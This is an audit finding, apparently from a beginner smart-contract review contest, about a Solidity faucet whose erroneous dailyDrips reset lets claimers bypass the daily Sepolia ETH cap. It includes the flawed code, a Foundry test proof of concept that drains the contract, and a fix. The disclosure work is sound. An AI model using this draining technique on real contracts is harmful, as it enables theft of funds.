Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

The `dailySepEthCap` in the `RaiseBoxFaucet::claimFaucetTokens` function could be bypassed, causing `sepolia ETH` draining.

Root + Impact

Description

The dailyDrips storage variable in the RaiseBoxFaucet::claimFaucetTokens function increments each time a new user claims sepolia ETH. However, when a previously claimed sepolia ETH user claims it again after the 3-day cooldown, the dailyDrips is set to 0, allowing new users to claim sepolia ETH beyond the dailySepEthCap limit until either the sepolia ETH supply runs out or the dailyClaimLimit limit is reached.

function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
@> dailyDrips = 0;
}
...
}

Risk

Likelihood:

  • Any user who previously claimed faucet tokens and waited for the cooldown period to pass resets dailyDrips on their next claim by directly calling claimFaucetTokens.

Impact:

  • Bypassing the dailySepEthCap daily limit can cause a Sepolia ETH drain, disrupting the protocol's intended functionality.

Proof of Concept

Add the following code snippet to the RaiseBoxFaucet.t.sol test file.

This code snippet is designed to demonstrate the RaiseBoxFaucet::claimFaucetTokens function bypasses the dailySepEthCap limit, causing sepolia ETH draining.

function testEthClaimSupply() public {
owner = address(this);
raiseBoxFaucet = new RaiseBoxFaucet("raiseboxtoken", "RB", 1000 * 10 ** 18, 0.02 ether, 0.5 ether);
raiseBoxFaucetContractAddress = address(raiseBoxFaucet);
vm.deal(raiseBoxFaucetContractAddress, 1 ether);
uint256 initialSepoliaETHSupply = address(raiseBoxFaucet).balance;
console.log("\n");
console.log("Initial Contract ETH balance", initialSepoliaETHSupply);
uint256 totalClaims = 1;
// A user interaction before the drain
address previousUser = makeAddr("previousUser");
vm.prank(previousUser);
raiseBoxFaucet.claimFaucetTokens();
console.log("\n");
console.log("A user claims faucets");
console.log("User address: ", previousUser);
console.log("Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("User faucet token balance", raiseBoxFaucet.balanceOf(previousUser));
console.log("User ETH balance", previousUser.balance);
console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount());
console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit());
console.log("\n");
console.log("Whait for 3 days cooldown");
// Cooldown
vm.warp(block.timestamp + 3 days + 1 minutes);
vm.roll(block.number + 100);
console.log("\n");
console.log("Drain starts here");
address user;
for (uint256 i = 1; i <= 50; ++i) {
user = payable(address(uint160(100 + i)));
vm.prank(user);
raiseBoxFaucet.claimFaucetTokens();
totalClaims += 1;
}
console.log("\n");
console.log("Middle way, a user after cooldown claims again, resetting dailyDrips to 0");
vm.prank(previousUser);
raiseBoxFaucet.claimFaucetTokens();
console.log("\n");
console.log("User address: ", previousUser);
console.log("Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("User faucet token balance", raiseBoxFaucet.balanceOf(previousUser));
console.log("User ETH balance", previousUser.balance);
console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount());
console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit());
console.log("dailyDrips has been reset to: ", raiseBoxFaucet.dailyDrips());
console.log("\n");
console.log("Drain continues");
address newUser;
for (uint256 i = 1; i <= 49; ++i) {
newUser = payable(address(uint160(200 + i)));
vm.prank(newUser);
raiseBoxFaucet.claimFaucetTokens();
totalClaims += 1;
}
uint256 afterDrainSepoliaETHSupply = address(raiseBoxFaucet).balance;
console.log("\n");
console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount());
console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit());
console.log("Total claimes: ", totalClaims);
console.log("After the drain, Contract ETH balance", afterDrainSepoliaETHSupply);
assertGt(initialSepoliaETHSupply, 0, "Contract ETH balance has not been supplied");
assertEq(afterDrainSepoliaETHSupply, 0, "Contract ETH balance has not been drained");
}

Recommended Mitigation

Possible mitigation is to reset the dailyDrips storage variable to 0 only on the next day by checking the lastDripDay storage variable.

function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
+ }
- } else {
- dailyDrips = 0;
- }
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.